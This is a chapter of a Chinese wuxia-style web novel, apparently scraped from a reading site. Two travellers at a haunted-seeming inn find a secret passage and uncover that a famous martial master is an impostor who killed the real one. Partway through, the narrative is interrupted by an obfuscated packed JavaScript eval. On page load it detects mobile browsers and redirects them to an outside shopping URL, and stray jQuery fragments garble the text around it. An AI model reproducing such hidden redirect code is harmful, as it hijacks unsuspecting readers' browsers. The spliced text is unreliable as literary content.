38. 偷梁换柱

作品:《将军她不想掉马怎么办

    游冠生刚想再三保证他们是良民,韶眠月扯了扯他的袖子,摇摇头。


    “行,那我们就不打扰了。”


    二人并肩去找客栈,问问还有没有房间。


    客栈大门口两侧挂着红彤彤的两个大红灯笼,把门前的台阶照得通红,门“吱呀”一声,自己打开了。


    韶眠月想到屋里那人说这里出过命案,顿觉大门开的诡异。


    门里先探出来一个大红灯笼,稳稳地往外伸。


    飘……飘在半空?


    韶眠月脚好像被钉在了地上,难道真的有鬼?


    还是说这里有什么灵异志怪?


    等到灯笼彻底从门里出来,韶眠月定睛一看,原来是有人提着那盏灯笼。


    “店家——有客人来了——”


    是客栈的小厮,不是什么鬼。


    客栈的店家生意一直不好,谁知道他当初把客栈建在这里花了多大的本钱,到最后又因为命案赔得血本无归。


    每来一个人,他脸上都笑出了褶子,恨不得在台阶两侧都站满了人,挥着小手绢儿揽客。


    “稀客啊!稀客!”店家身后带着几个人,都双目有神地看着韶眠月。


    她被这样的热情弄得不好意思。


    “店家,我身上有一枚上好的古玉,今夜先押在这里,”游冠生取下自己从不离身的禁步:“给我们落脚的地方可好?”


    店家这里平日里不知为什么都没有人来,今夜好不容易来了人,还一来来俩,他自是心里高兴。


    “好好好!好极了!”店家连游冠生手里的禁步都不收,自己亲自提着灯笼,把两人引进去。


    韶眠月看了一眼游冠生,不会有诈吧?


    游冠生摇摇头,但他这么热情,两个人还是把话咽回了肚子里。


    “我可总算见到活人了!”


    难道还有见过死人?


    韶眠月惊恐。


    那店家也意识到自己说错了话:“呸呸呸!我想说的是这里终于有客人来了。”


    韶眠月长舒一口气。


    “这里平日里生意不好吗?”韶眠月装作不经意地问。


    “是啊,你知道当年的命案么?就是发生在这……”店家反应过来,想拍拍自己那张嘴,怎么什么都说了。


    韶眠月心想,就发生在这什么?


    就发生在这里。


    二人对视一眼,有情况。


    韶眠月装作亲近地和那个店家勾肩搭背:“当年的命案还有什么,你给我说说呗。”


    “什么都没有!”他不想说。


    韶眠月也不急,点点头:“好。”


    此时几人已经迈入客栈的大堂,韶眠月抬头看客栈。


    去掉门外那两个红彤彤、阴森森的灯笼不说,客栈里面的装饰还是挺人间的。


    氍毹一路铺开,走上去没有半点声音。


    “还不错吧?”店家挑眉:“楼上天字间任二位挑选,烦请二位以后多帮小的打点宣传。”


    韶眠月说:“那是一定的。”


    店家死马当活马医,拽着她的袖子不让她走:“贵客还有什么要求尽管提。”


    韶眠月忍了忍:“把你门口那俩大红灯笼换成别的吧,看着瘆得慌。”


    “成嘞。”


    看着二人缓步上楼,店家吩咐身边的小厮:“把那灯笼换了,越快越好。”


    小厮不解:“为何如此听他二人的话?为何不收那二人的……”


    他话还没有问完,店家挥挥手:“你没看到那人腰间的禁步么?那仙鹤一看就不凡,恐怕只有大师级别的人才能办到。”


    “咱们也抱个大腿。”


    小厮一拍手,成,还是店家眼光好。


    韶眠月一晚上都在房顶上蹲着,此时踩着柔软,感觉自己轻飘飘的。


    不小心被门槛绊了一下,她往前走了几步,才稳下身子开始看房间里。


    这个房间倒是没有什么特别的,和那些客栈大差不差。


    只是……怎么有一幅画正对着镜子。


    韶眠月在镜子里侧了侧身子,那画似乎也变了一点。


    韶眠月把镜子扣到桌面,换了不同的地方去观察那幅画。


    果然在不同的地方看到的那幅画有细微的不一样。


    就像……画里面有细细的凸起。


    韶眠月把手伸到画上,摸了摸,果然有一个又一个小鼓包。


    她还以为有什么灵异事件呢,果然是自己吓自己。


    摘下那幅画,后面藏着一个暗道。


    韶眠月挑眉,意料之中。


    随手捞了一个烛台,韶眠月留了一个记号给游冠生,弯着腰走了进去。


    让她去探一探究竟。


    密道潮湿又昏暗,她走在里面时不时感觉有冰凉的液体滴到脖子上,“啪嗒”的水滴声清晰。


    有点恐怖了,韶眠月心想不怕,就当这是一次冒险。


    还好这一路上没有出什么幺蛾子。


    她走了不久就走到了头儿。


    尽头那里燃着烛火,书架上面摆着几本书和游冠生告诉自己小刀书房里的书,名字竟然一样。


    韶眠月走近了去看,那些书下面写着都是“小刀”二字。


    原来这些书都是他写的。


    韶眠月翻了翻,书里面记的功法靠谱。


    可是她记得小刀连刀都握不稳。


    韶眠月把书放下,往里面走,穿过一排排书架,到了里面最隐秘的地方。


    那里挂着一个人的画像。


    是一个男人的画像,那人着衣不羁,头向上抬,眼睛却往下看,面庞含笑。


    不似游冠生的儒雅随和,自成一派潇洒。


    韶眠月目光往下扫,画像的右下角写着“小刀”二字。


    韶眠月心里的谜团顿时被解开。


    怪不得书架上那些功法书吃灰,怪不得那人明明不会刀法,却有那么大的名气。


    原来一直此“小刀”非彼“小刀”。


    好一招偷梁换柱!


    “原来你也找到了这里。”游冠生来的时候看见了韶眠月,就故意没有隐藏自己的脚步声。


    他一出现,韶眠月没有回头就认出了他。


    “是啊,这真是太顺利了。”


    韶眠月回头,目光越过游冠生,看向他身后。


    游冠生回头,倒吸一口凉气,他竟然没发现自己的身后还跟了一个人。


    是店家。


    店家笑得谄媚:“我知二人必有高才,二人果然没有让我失望。”


    “把我们引到这里,你到底想怎么样?”</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17223628|196039||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    店家没有回答她,反而悠闲地拍了拍手,像糖葫芦串儿似的,又从店家身后走出来一个人。


    是那个乞丐。


    “小刀早就死了,”乞丐:“那人狼子野心,杀了小刀,借着小刀的名义索取钱财。”


    乞丐老头儿把自己手里拿着的荷包还给韶眠月:“看二人身份不凡,能追到这里,一定也对小刀感兴趣。”


    游冠生以为韶眠月会一口答应,谁知道她只是摊了摊手。


    “跟我说这些有什么用呢?我又不是包青天。”


    韶眠月心里自然是有自己的打算,她只在这里一时,只能帮他们一时,不能帮他们一世。


    如果想着让她把这些都解决了,她坦然,自己做不到。


    “唉,我们手里有证据。”


    韶眠月一听证据顿时来了兴趣,那两人见有戏,把手里收集到的杂七杂八的证据都交了上来。


    韶眠月看了看,这些证据都是真的。


    “可靠吧。”店家得意:“当时我可是多留了几个心眼儿,今天总算是用上了。”


    韶眠月赞许:“不错。”


    那语气一听就是敷衍,但店家听不出来,还骄傲地挺胸。


    “那咱们下一步干什么?”店家摩拳擦掌,一想到接下来要除恶,和那些人大斗八百个回合,他就激动。


    他这一次也是能做一回大侠了。


    “不然咱们这样儿,你们把他引出来,我去杀了他,然后……”店家比划。


    韶眠月说“然后?恐怕真这么做,你就没有然后了。”


    “咱们报官。”


    店家不可置信:“报……报官?”


    韶眠月点点头再次确认。


    “好吧。”


    “把这些证据都保存好,明天我去小刀那里守着不让他跑走,你去报官,让官府捉拿他。”


    几人想了想最后同意。


    店家讪讪,看了眼韶眠月,知道她想要出去,又指了一条更便捷的密道,说:“这个近。”


    韶眠月:“你们哪个房间有密道?”


    店家摸摸鼻子:“唔,也就那么几个。”


    韶眠月走在前头:“房间不安全,怪不得生意那么不好。”


    生意不好……不好……回音清楚,店家深吸一口气,他只能选择原谅她。


    “我改还不成吗?明天就把那些门都给封上!”他跺跺脚跟上去。


    “你看,你气急败坏了。”韶眠月清脆的声音不听。


    店家不回话。


    翌日一早,韶眠月就着衣去小刀门前守着。


    游冠生挑着水,小刀拍拍他的肩膀,让本就不轻的肩膀更难受。


    “好好干啊,这就是练成功法的必由之路啊。”


    听着他的语重心长,韶眠月不由得在心里轻嗤。


    这简直和她给别人空口承诺的样子没有什么区别。


    “师傅,我还要练多久才能成为师傅那样的大家。”游冠生一脸真诚。


    小刀咳了一声:“不久不久,你天资聪颖,一定会超过为师。”


    说着他手掌按着扁担往下压,游冠生被扁担压得脸色发白,鬓边汗珠滚到衣领里。


    “唉,你这脸色不行哇,看来还得再练,晚上再交点那个束什么,我教你新的。”